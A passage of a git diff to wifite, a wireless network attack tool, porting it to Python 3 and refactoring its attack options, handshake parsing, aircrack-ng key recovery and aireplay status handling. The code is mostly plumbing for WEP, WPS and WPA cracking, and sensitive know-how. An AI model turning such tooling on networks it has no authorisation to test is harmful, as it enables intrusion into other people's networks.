args.wps_pixie_timeout: - Configuration.wps_pixie_timeout = args.wps_pixie_timeout - Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) - if args.wps_pixie_step_timeout: - Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout - Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout) + cls.wps_pixie_timeout = args.wps_pixie_timeout + Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout) if args.wps_fail_threshold: - Configuration.wps_fail_threshold = args.wps_fail_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold) + cls.wps_fail_threshold = args.wps_fail_threshold + Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold) if args.wps_timeout_threshold: - Configuration.wps_timeout_threshold = args.wps_timeout_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold) - if args.wps_skip_rate_limit == False: - Configuration.wps_skip_rate_limit = False - Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited') + cls.wps_timeout_threshold = args.wps_timeout_threshold + Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold) # Adjust encryption filter - Configuration.encryption_filter = [] - if Configuration.wep_filter: Configuration.encryption_filter.append('WEP') - if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA') - if Configuration.wps_filter: Configuration.encryption_filter.append('WPS') + cls.encryption_filter = [] + if cls.wep_filter: cls.encryption_filter.append('WEP') + if cls.wpa_filter: cls.encryption_filter.append('WPA') + if cls.wps_filter: cls.encryption_filter.append('WPS') - if len(Configuration.encryption_filter) == 3: + if len(cls.encryption_filter) == 3: Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}') - elif len(Configuration.encryption_filter) == 0: + elif len(cls.encryption_filter) == 0: # Default to scan all types - Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] + cls.encryption_filter = ['WEP', 'WPA', 'WPS'] else: Color.pl('{+} {C}option:{W} ' + 'targeting {G}%s-encrypted{W} networks' - % '/'.join(Configuration.encryption_filter)) + % '/'.join(cls.encryption_filter)) # Adjust WEP attack list - Configuration.wep_attacks = [] + cls.wep_attacks = [] import sys seen = set() for arg in sys.argv: if arg in seen: continue seen.add(arg) - if arg == '-arpreplay': Configuration.wep_attacks.append('replay') - if arg == '-fragment': Configuration.wep_attacks.append('fragment') - if arg == '-chopchop': Configuration.wep_attacks.append('chopchop') - if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte') - if arg == '-p0841': Configuration.wep_attacks.append('p0841') - if arg == '-hirte': Configuration.wep_attacks.append('hirte') - - if len(Configuration.wep_attacks) == 0: + if arg == '-arpreplay': cls.wep_attacks.append('replay') + if arg == '-fragment': cls.wep_attacks.append('fragment') + if arg == '-chopchop': cls.wep_attacks.append('chopchop') + if arg == '-caffelatte': cls.wep_attacks.append('caffelatte') + if arg == '-p0841': cls.wep_attacks.append('p0841') + if arg == '-hirte': cls.wep_attacks.append('hirte') + + if len(cls.wep_attacks) == 0: # Use all attacks - Configuration.wep_attacks = ['replay', + cls.wep_attacks = ['replay', 'fragment', 'chopchop', 'caffelatte', 'p0841', 'hirte'] - elif len(Configuration.wep_attacks) > 0: + elif len(cls.wep_attacks) > 0: Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' - % '{W}, {G}'.join(Configuration.wep_attacks)) + % '{W}, {G}'.join(cls.wep_attacks)) # Commands - if args.cracked: Configuration.show_cracked = True - if args.check_handshake: Configuration.check_handshake = args.check_handshake - if args.crack_handshake: Configuration.crack_handshake = True + if args.cracked: cls.show_cracked = True + if args.check_handshake: cls.check_handshake = args.check_handshake + if args.crack_handshake: cls.crack_handshake = True - @staticmethod - def temp(subfile=''): + @classmethod + def temp(cls, subfile=''): ''' Creates and/or returns the temporary directory ''' - if Configuration.temp_dir is None: - Configuration.temp_dir = Configuration.create_temp() - return Configuration.temp_dir + subfile + if cls.temp_dir is None: + cls.temp_dir = cls.create_temp() + return cls.temp_dir + subfile @staticmethod def create_temp(): @@ -300,44 +374,50 @@ def create_temp(): tmp += os.sep return tmp - @staticmethod - def delete_temp(): + @classmethod + def delete_temp(cls): ''' Remove temp files and folder ''' - if Configuration.temp_dir is None: return - if os.path.exists(Configuration.temp_dir): - for f in os.listdir(Configuration.temp_dir): - os.remove(Configuration.temp_dir + f) - os.rmdir(Configuration.temp_dir) + if cls.temp_dir is None: return + if os.path.exists(cls.temp_dir): + for f in os.listdir(cls.temp_dir): + os.remove(cls.temp_dir + f) + os.rmdir(cls.temp_dir) - @staticmethod - def exit_gracefully(code=0): + @classmethod + def exit_gracefully(cls, code=0): ''' Deletes temp and exist with the given code ''' - Configuration.delete_temp() + cls.delete_temp() Macchanger.reset_if_changed() - from tools.airmon import Airmon - if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: - Airmon.stop(Configuration.interface) - Airmon.put_interface_up(Airmon.base_interface) + from .tools.airmon import Airmon + if cls.interface is not None and Airmon.base_interface is not None: + Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface) + Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface) + + # Stop monitor mode + #Airmon.stop(cls.interface) + # Bring original interface back up + #Airmon.put_interface_up(Airmon.base_interface) if Airmon.killed_network_manager: - Airmon.start_network_manager() + Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') + #Airmon.start_network_manager() exit(code) - @staticmethod - def dump(): + @classmethod + def dump(cls): ''' (Colorful) string representation of the configuration ''' - from util.color import Color + from .util.color import Color max_len = 20 - for key in Configuration.__dict__.keys(): + for key in cls.__dict__.keys(): max_len = max(max_len, len(key)) - result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len)) + result = Color.s('{W}%s Value{W}\n' % 'cls Key'.ljust(max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) - for (key,val) in sorted(Configuration.__dict__.iteritems()): + for (key,val) in sorted(cls.__dict__.items()): if key.startswith('__') or type(val) == staticmethod or val is None: continue result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val)) @@ -345,4 +425,4 @@ def dump(): if __name__ == '__main__': Configuration.initialize(False) - print Configuration.dump() + print(Configuration.dump()) diff --git a/wifite/model/attack.py b/wifite/model/attack.py index 9e0cc2e56..5a61994c2 100755 --- a/wifite/model/attack.py +++ b/wifite/model/attack.py @@ -4,11 +4,9 @@ import time class Attack(object): - ''' - Contains functionality common to all attacks - ''' + '''Contains functionality common to all attacks.''' - target_wait = 20 + target_wait = 60 def __init__(self, target): self.target = target @@ -17,17 +15,13 @@ def run(self): raise Exception("Unimplemented method: run") def wait_for_target(self, airodump): - ''' - Waits for target to appear in airodump - ''' + '''Waits for target to appear in airodump.''' start_time = time.time() targets = airodump.get_targets(apply_filter=False) while len(targets) == 0: # Wait for target to appear in airodump. if int(time.time() - start_time) > Attack.target_wait: - raise Exception( - "Target did not appear after %d seconds, stopping" - % Attack.target_wait) + raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait) time.sleep(1) targets = airodump.get_targets() continue diff --git a/wifite/model/client.py b/wifite/model/client.py index 51a6918c7..93645a977 100755 --- a/wifite/model/client.py +++ b/wifite/model/client.py @@ -30,7 +30,7 @@ def __init__(self, fields): def __str__(self): ''' String representation of a Client ''' result = '' - for (key,value) in self.__dict__.iteritems(): + for (key,value) in self.__dict__.items(): result += key + ': ' + str(value) result += ', ' return result @@ -39,4 +39,4 @@ def __str__(self): if __name__ == '__main__': fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',') c = Client(fields) - print c + print('Client', c) diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index a93df723a..d7265ba01 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -3,9 +3,10 @@ from ..util.process import Process from ..util.color import Color +from ..tools.tshark import Tshark +from ..tools.pyrit import Pyrit -import re -import os +import re, os class Handshake(object): def __init__(self, capfile, bssid=None, essid=None): @@ -17,16 +18,22 @@ def divine_bssid_and_essid(self): ''' Tries to find BSSID and ESSID from cap file. Sets this instances 'bssid' and 'essid' instance fields. - ''' + ''' + + if self.bssid is None: + hs_regex = re.compile(r"^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$", re.IGNORECASE) + match = hs_regex.match(self.capfile) + if match: + self.bssid = match.group(1).replace('-', ':') + # Get list of bssid/essid pairs from cap file - pairs = self.tshark_bssid_essid_pairs() + pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid) + if len(pairs) == 0: - # Find bssid/essid pairs that have handshakes in Pyrit - pairs = self.pyrit_handshakes() + pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit if len(pairs) == 0 and not self.bssid and not self.essid: - # Tshark and Pyrit failed us, nothing else we can do. - raise Exception("Cannot find BSSID or ESSID in cap file") + raise Exception("Cannot find BSSID or ESSID in cap file") # Tshark and Pyrit failed us, nothing else we can do. if not self.essid and not self.bssid: # We do not know the bssid nor the essid @@ -34,10 +41,8 @@ def divine_bssid_and_essid(self): # HACK: Just use the first one we see self.bssid = pairs[0][0] self.essid = pairs[0][1] - Color.pl('{!} {O}Warning{W}:' + - ' {O}Arbitrarily selected' + - ' {R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' - % (self.bssid, self.essid)) + Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' + + '{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid)) elif not self.bssid: # We already know essid @@ -59,142 +64,20 @@ def has_handshake(self): if not self.bssid or not self.essid: self.divine_bssid_and_essid() - if len(self.tshark_handshakes()) > 0: - return True - - if len(self.pyrit_handshakes()) > 0: - return True + if len(self.tshark_handshakes()) > 0: return True + if len(self.pyrit_handshakes()) > 0: return True + # TODO: Can we trust cowpatty & aircrack? + #if len(self.cowpatty_handshakes()) > 0: return True + #if len(self.aircrack_handshakes()) > 0: return True - # XXX: Disabling these checks since I don't think they are reliable. - ''' - if len(self.cowpatty_handshakes()) > 0: - return True - if len(self.aircrack_handshakes()) > 0: - return True - ''' return False - def tshark_bssid_essid_pairs(self): - ''' - Scrapes capfile for beacon frames indicating the ESSID. - Returns list of tuples: (bssid,essid) - ''' - if not Process.exists('tshark'): - raise Exception('tshark is required to find ESSID') - - essids = set() - - # Extract beacon frames from cap file - cmd = [ - 'tshark', - '-r', self.capfile, - '-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05', - '-2', # tshark: -R without -2 is deprecated. - '-n' - ] - proc = Process(cmd, devnull=False) - for line in proc.stdout().split('\n'): - # Extract src, dst, and essid - mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' - % (mac_regex, mac_regex), line) - if match is None: - # Line doesn't contain src, dst, ssid - continue - (src, dst, essid) = match.groups() - if dst.lower() == "ff:ff:ff:ff:ff:ff": continue - if self.bssid: - # We know the BSSID, only return the ESSID for this BSSID. - if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower(): - essids.add((src, essid)) - else: - # We do not know BSSID, add it. - essids.add((src, essid)) - # Return list of tuples - return [x for x in essids] - - - def tshark_command(self): - return [ - 'tshark', - '-r', self.capfile, - '-R', 'eapol', - '-n', - '-2' # 2-pass filtering, required when using -R in newer versions of tshark - ] - def tshark_handshakes(self): ''' Returns True if tshark identifies a handshake, False otherwise ''' - if not Process.exists('tshark'): - return [] - - target_client_msg_nums = {} - - # Dump EAPOL packets - proc = Process(self.tshark_command(), devnull=False) - for line in proc.stdout().split('\n'): - # Extract source mac, destination mac, and message numbers - mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search('(%s) (?:->|→) (%s).*Message.*(\d).*(\d)' - % (mac_regex, mac_regex), line) - if match is None: - # Line doesn't contain src, dst, Message numbers - continue - (src, dst, index, ttl) = match.groups() - # "Message (index) of (ttl)" - index = int(index) - ttl = int(ttl) - - if ttl != 4: - # Must be a 4-way handshake - continue - - # Identify the client and target MAC addresses - if index % 2 == 1: - # First and Third messages - target = src - client = dst - else: - # Second and Fourth messages - client = src - target = dst - - if self.bssid and self.bssid.lower() != target.lower(): - # We know the BSSID and this msg was not for the target - continue - - target_client_key = '%s,%s' % (target, client) - - # Ensure all 4 messages are: - # Between the same client and target - # In numeric & chronological order (1,2,3,4) - if index == 1: - # First message, add to dict - target_client_msg_nums[target_client_key] = 1 - - elif target_client_key not in target_client_msg_nums: - # Not first message, we haven't gotten the first message yet - continue - - elif index - 1 != target_client_msg_nums[target_client_key]: - # Message is not in sequence - continue - - else: - # Message is > 1 and is received in-order - target_client_msg_nums[target_client_key] = index - - bssids = set() - # Check if we have all 4 messages for the handshake between the same MACs - for (client_target, num) in target_client_msg_nums.iteritems(): - if num == 4: - # We got a handshake! - bssid = client_target.split(',')[0] - bssids.add(bssid) - - return [(bssid, None) for bssid in bssids] + tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) + return [(bssid, None) for bssid in tshark_bssids] def cowpatty_command(self): @@ -219,83 +102,33 @@ def cowpatty_handshakes(self): return [] - def pyrit_command(self): - return [ - 'pyrit', - '-r', self.capfile, - 'analyze' - ] - def pyrit_handshakes(self): - ''' Returns True if pyrit identifies a handshake, False otherwise ''' - if not Process.exists('pyrit'): - return [] + ''' Returns list of BSSID,ESSID tuples if pyrit identifies a handshake''' + return Pyrit.bssid_essid_with_handshakes(self.capfile, bssid=self.bssid, essid=self.essid) - bssid_essid_pairs = set() - hit_target = False - current_bssid = self.bssid - current_essid = self.essid - proc = Process(self.pyrit_command(), devnull=False) - for line in proc.stdout().split('\n'): - mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" - % (mac_regex), line) - if match: - # We found a BSSID and ESSID - (bssid, essid) = match.groups() - - # Compare to what we're searching for - if self.bssid and self.bssid.lower() == bssid.lower(): - current_essid = essid - hit_target = True - continue - - elif self.essid and self.essid == essid: - current_bssid = bssid - hit_target = True - continue - - elif not self.bssid and not self.essid: - # We don't know either - current_bssid = bssid - current_essid = essid - hit_target = True - else: - # This AccessPoint is not what we're looking for - hit_Target = False - else: - # Line does not contain AccessPoint - if hit_target and ', good' in line: - bssid_essid_pairs.add( (current_bssid, current_essid) ) - return [x for x in bssid_essid_pairs] - - - def aircrack_command(self): - return 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) def aircrack_handshakes(self): + '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked''' if not self.bssid: - return [] - (stdout, stderr) = Process.call(self.aircrack_command()) + return [] # Aircrack requires BSSID + + command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) + (stdout, stderr) = Process.call(command) + if 'passphrase not in dictionary' in stdout.lower(): return [(self.bssid, None)] else: return [] + def analyze(self): + '''Prints analysis of handshake capfile''' self.divine_bssid_and_essid() - pairs = self.tshark_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'tshark') - - pairs = self.pyrit_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'pyrit') - - pairs = self.cowpatty_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'cowpatty') - - pairs = self.aircrack_handshakes() - Handshake.print_pairs(pairs, self.capfile, 'aircrack') + Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark') + Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit') + Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty') + Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack') def strip(self, outfile=None): @@ -316,8 +149,7 @@ def strip(self, outfile=None): cmd = [ 'tshark', '-r', self.capfile, # input file - '-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter - '-2', # tshark: -R without -2 is deprecated. + '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter '-w', outfile # output file ] proc = Process(cmd) @@ -335,32 +167,41 @@ def print_pairs(pairs, capfile, tool=None): Prints out BSSID and/or ESSID given a list of tuples (bssid,essid) ''' tool_str = '' - if tool: + if tool is not None: tool_str = '{C}%s{W}: ' % tool.rjust(8) if len(pairs) == 0: - Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" - % (tool_str)) + Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" % (tool_str)) return for (bssid, essid) in pairs: + out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str if bssid and essid: - Color.pl('{+} %s.cap file' % tool_str + - ' {G}contains a valid handshake{W}' + - ' for {G}%s{W} ({G}%s{W})' % (bssid, essid)) + Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid)) elif bssid: - Color.pl('{+} %s.cap file' % tool_str + - ' {G}contains a valid handshake{W}' + - ' for {G}%s{W}' % bssid) + Color.pl('%s {G}%s{W}' % (out_str, bssid)) elif essid: - Color.pl('{+} %s.cap file' % tool_str + - ' {G}contains a valid handshake{W}' + - ' for ({G}%s{W})' % essid) + Color.pl('%s ({G}%s{W})' % (out_str, essid)) if __name__ == '__main__': - hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A') + print('With BSSID & ESSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') + hs.analyze() + print("has_hanshake() =", hs.has_handshake()) + + print('\nWith BSSID, but no ESSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18') + hs.analyze() + print("has_hanshake() =", hs.has_handshake()) + + print('\nWith ESSID, but no BSSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi') + hs.analyze() + print("has_hanshake() =", hs.has_handshake()) + print('\nWith neither BSSID nor ESSID specified:') + hs = Handshake('./tests/files/handshake_has_1234.cap') hs.analyze() - print "has_hanshake() =", hs.has_handshake() + print("has_hanshake() =", hs.has_handshake()) diff --git a/wifite/model/interface.py b/wifite/model/interface.py deleted file mode 100755 index 9fd8595f2..000000000 --- a/wifite/model/interface.py +++ /dev/null @@ -1,101 +0,0 @@ -#!/usr/bin/python2.7 -# -*- coding: utf-8 -*- - -from ..util.color import Color - -import re - -class Interface(object): - ''' - Represents an 'interface' known by airmon-ng - ''' - - # Max length of fields. - # Used for printing a table of interfaces. - PHY_LEN = 6 - NAME_LEN = 12 - DRIVER_LEN = 20 - CHIPSET_LEN = 30 - - def __init__(self, fields): - ''' - Initializes & stores info about an interface. - - Args: - Fields - list of fields - 0: PHY - 1: NAME - 2: DRIVER - 3: CHIPSET - ''' - if len(fields) == 3: - phy = 'phyX' - match = re.search(' - \[(phy\d+)\]', fields[2]) - if match: - phy = match.groups()[0] - fields[2] = fields[2][:fields[2].rfind(' - [')] - fields.insert(0, phy) - if len(fields) != 4: - raise Exception("Expected 4, got %d in %s" % (len(fields), fields)) - self.phy = fields[0].strip() - self.name = fields[1].strip() - self.driver = fields[2].strip() - self.chipset = fields[3].strip() - - def __str__(self): - ''' Colored string representation of interface ''' - s = Color.s("{W}%s" % self.phy) - s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0) - - s += Color.s("{G}%s" % self.name) - s += ' ' * max(Interface.NAME_LEN - len(self.name), 0) - - s += Color.s("{C}%s" % self.driver) - s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0) - - s += Color.s("{W}%s" % self.chipset) - s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0) - return s - - @staticmethod - def menu_header(): - ''' Colored header row for interfaces ''' - s = ' ' - s += 'PHY' - s += ' ' * (Interface.PHY_LEN - len("PHY")) - - s += 'Interface' - s += ' ' * (Interface.NAME_LEN - len("Interface")) - s += 'Driver' - s += ' ' * (Interface.DRIVER_LEN - len("Driver")) - - s += 'Chipset' - s += ' ' * (Interface.CHIPSET_LEN - len("Chipset")) - - s += '\n---' - s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN) - return s - - @staticmethod - def get_mac(iface=None): - from ..config import Configuration - from ..util.process import Process - - if iface is None: - Configuration.initialize() - iface = Configuration.interface - if iface is None: - raise Exception('Interface must be defined (-i)') - - output = Process(['ifconfig', iface]).stdout() - mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] - match = re.search(' (%s)' % mac_regex, output) - if not match: - match = re.search('unspec (%s)' % mac_regex, output) - if not match: - raise Exception('Could not find the mac address for %s' % iface) - return match.groups()[0].replace('-', ':') - -if __name__ == '__main__': - mac = Interface.get_mac() - print 'wlan0mon mac address:', mac diff --git a/wifite/model/result.py b/wifite/model/result.py index 10d76774e..d37bb62a0 100755 --- a/wifite/model/result.py +++ b/wifite/model/result.py @@ -31,7 +31,7 @@ def save(self): text = fid.read() try: json = loads(text) - except Exception, e: + except Exception as e: Color.pl('{!} error while loading %s: %s' % (name, str(e))) json.append(self.to_dict()) with open(name, 'w') as fid: diff --git a/wifite/model/target.py b/wifite/model/target.py index 39c3f976f..e7648d76d 100755 --- a/wifite/model/target.py +++ b/wifite/model/target.py @@ -52,14 +52,18 @@ def __init__(self, fields): self.essid_known = True self.essid_len = int(fields[12].strip()) - self.essid = fields[13].strip() - if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '': + self.essid = fields[13] + if self.essid == '\\x00' * self.essid_len or \ + self.essid == 'x00' * self.essid_len or \ + self.essid.strip() == '': # Don't display "\x00..." for hidden ESSIDs self.essid = None # '(%s)' % self.bssid self.essid_known = False self.wps = None + self.decloaked = False # If ESSID was hidden but we decloaked it. + self.clients = [] self.validate() @@ -84,7 +88,7 @@ def to_str(self, show_bssid=False): Specifically formatted for the "scanning" table view. ''' - max_essid_len = 25 + max_essid_len = 24 essid = self.essid if self.essid_known else "(%s)" % self.bssid # Trim ESSID (router name) if needed if len(essid) > max_essid_len: @@ -99,6 +103,10 @@ def to_str(self, show_bssid=False): # Unknown ESSID essid = Color.s("{O}%s" % essid) + # Add a "*" if we decloaked the ESSID + decloaked_char = '*' if self.decloaked else ' ' + essid += Color.s("{P}%s" % decloaked_char) + if show_bssid: bssid = Color.s('{O}%s ' % self.bssid) else: @@ -147,5 +155,5 @@ def to_str(self, show_bssid=False): t = Target(fields) t.clients.append("asdf") t.clients.append("asdf") - print t.to_str() + print(t.to_str()) diff --git a/wifite/model/wpa_result.py b/wifite/model/wpa_result.py index dbdea7811..153686c1c 100755 --- a/wifite/model/wpa_result.py +++ b/wifite/model/wpa_result.py @@ -45,8 +45,8 @@ def to_dict(self): w.dump() w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key') - print '\n' + print('\n') w.dump() w.save() - print w.__dict__['bssid'] + print(w.__dict__['bssid']) diff --git a/wifite/tools/__init__.py b/wifite/tools/__init__.py old mode 100644 new mode 100755 diff --git a/wifite/tools/aircrack.py b/wifite/tools/aircrack.py index d0c73f0dc..71561bd12 100755 --- a/wifite/tools/aircrack.py +++ b/wifite/tools/aircrack.py @@ -1,15 +1,23 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..util.process import Process +from ..util.input import xrange from ..config import Configuration import os -class Aircrack(object): +class Aircrack(Dependency): + dependency_required = True + dependency_name = 'aircrack-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' + def __init__(self, ivs_file=None): - self.cracked_file = Configuration.temp() + 'wepkey.txt' + self.cracked_file = os.path.abspath( + os.path.join( + Configuration.temp(), 'wepkey.txt')) # Delete previous cracked files if os.path.exists(self.cracked_file): @@ -19,8 +27,11 @@ def __init__(self, ivs_file=None): 'aircrack-ng', '-a', '1', '-l', self.cracked_file, - ivs_file ] + if type(ivs_file) is str: + ivs_file = [ivs_file] + + command.extend(ivs_file) self.pid = Process(command, devnull=True) @@ -39,44 +50,59 @@ def stop(self): def get_key_hex_ascii(self): if not self.is_cracked(): raise Exception('Cracked file not found') + with open(self.cracked_file, 'r') as fid: hex_raw = fid.read() - hex_key = '' + + return self._hex_and_ascii_key(hex_raw) + + @staticmethod + def _hex_and_ascii_key(hex_raw): + hex_chars = [] ascii_key = '' - while len(hex_raw) > 0: - # HEX - if hex_key != '': - hex_key += ':' - hex_key += hex_raw[0:2] - - # ASCII - # Convert hex to decimal - code = int(hex_raw[0:2], 16) - if code < 32 or code > 127: - # Hex key is non-printable in ascii - ascii_key = None - continue - elif ascii_key is None: - # We can't generate an Ascii key - continue - # Convert decimal to char - ascii_key += chr(code) - - # Trim first two characters - hex_raw = hex_raw[2:] - continue + for index in xrange(0, len(hex_raw), 2): + byt = hex_raw[index:index+2] + hex_chars.append(byt) + byt_int = int(byt, 16) + if byt_int < 32 or byt_int > 127 or ascii_key is None: + ascii_key = None # Not printable + else: + ascii_key += chr(byt_int) + + hex_key = ':'.join(hex_chars) return (hex_key, ascii_key) + def __del__(self): + if os.path.exists(self.cracked_file): + os.remove(self.cracked_file) + if __name__ == '__main__': + (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') + assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey + assert asciikey is None, 'asciikey was "%s", expected None' % asciikey + + (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465') + assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey + assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey + from time import sleep + Configuration.initialize(False) - a = Aircrack('tests/files/wep-crackable.ivs') - while a.is_running(): + + ivs_file = 'tests/files/wep-crackable.ivs' + print("Running aircrack on %s ..." % ivs_file) + + aircrack = Aircrack(ivs_file) + while aircrack.is_running(): sleep(1) - if a.is_cracked(): - print "cracked!" - print '(hex, ascii) =', a.get_key_hex_ascii() - else: - print "Not cracked" + + assert aircrack.is_cracked(), "Aircrack should have cracked %s" % ivs_file + print("aircrack process completed.") + + (hexkey, asciikey) = aircrack.get_key_hex_ascii() + print("aircrack found HEX key: (%s) and ASCII key: (%s)" % (hexkey, asciikey)) + assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey + assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey + Configuration.exit_gracefully(0) diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index c0c71d24f..580623276 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -1,6 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..config import Configuration from ..util.process import Process from ..util.timer import Timer @@ -29,7 +30,7 @@ def __init__(self, var): self.value = None self.name = None if type(var) is int: - for (name,value) in WEPAttackType.__dict__.iteritems(): + for (name,value) in WEPAttackType.__dict__.items(): if type(value) is int: if value == var: self.name = name @@ -37,7 +38,7 @@ def __init__(self, var): return raise Exception("Attack number %d not found" % var) elif type(var) is str: - for (name,value) in WEPAttackType.__dict__.iteritems(): + for (name,value) in WEPAttackType.__dict__.items(): if type(value) is int: if name == var: self.name = name @@ -54,7 +55,11 @@ def __str__(self): return self.name -class Aireplay(Thread): +class Aireplay(Thread, Dependency): + dependency_required = True + dependency_name = 'aireplay-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' + def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. @@ -90,17 +95,25 @@ def stop(self): def get_output(self): ''' Returns stdout from aireplay process ''' - return self.pid.stdout() + return self.stdout def run(self): + self.stdout = '' + self.xor_percent = '0%' while self.pid.poll() is None: time.sleep(0.1) if not os.path.exists(self.output_file): continue # Read output file & clear output file with open(self.output_file, "r+") as fid: lines = fid.read() + self.stdout += lines fid.seek(0) fid.truncate() + + if Configuration.verbose > 1 and lines.strip() != '': + from ..util.color import Color + Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n ')) + for line in lines.split("\n"): line = line.replace("\r", "").strip() if line == "": continue @@ -124,33 +137,85 @@ def run(self): self.status = True elif self.attack_type == WEPAttackType.chopchop: # Look for chopchop status. Potential output lines: + # (START) Read 178 packets... read_re = re.compile(r"Read (\d+) packets") matches = read_re.match(line) if matches: self.status = "Waiting for packet (read %s)..." % matches.group(1) + + # Sent 1912 packets, current guess: 70... + sent_re = re.compile(r"Sent (\d+) packets, current guess: (\w+)...") + matches = sent_re.match(line) + if matches: + self.status = "Generating .xor (%s)... current guess: %s" % (self.xor_percent, matches.group(2)) + # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)") matches = offset_re.match(line) if matches: - self.status = "Generating Xor (%s)" % matches.group(1) + self.xor_percent = matches.group(1) + self.status = "Generating .xor (%s)..." % self.xor_percent + # (DONE) Saving keystream in replay_dec-0516-202246.xor saving_re = re.compile(r"Saving keystream in (.*\.xor)") matches = saving_re.match(line) if matches: self.status = matches.group(1) - pass + + # 